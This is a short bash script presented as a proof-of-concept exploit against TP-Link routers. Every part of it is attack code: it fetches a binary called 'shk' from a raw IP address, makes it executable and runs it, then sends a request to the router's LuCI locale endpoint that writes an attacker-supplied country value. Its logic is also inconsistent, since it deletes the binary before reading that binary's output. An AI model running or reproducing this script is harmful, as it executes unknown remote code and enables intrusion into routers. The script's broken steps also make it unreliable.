TP-Link Exploit PoC

Found By Mishal And Sleep

#!/bin/bash

country_url=”http://103.163.214.97/shk"

cd /tmp
rm -rf shk

# Download and execute the tp-link scanner
wget $country_url
chmod 777 shk
./shk tplink
rm -rf shk

# Get the country code from the scanner output
country=$(grep “country=” /tmp/shk_output | cut -d’=’ -f2)

# Send a request to the TP-Link router to set the country code
curl -X GET “http://localhost/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$country"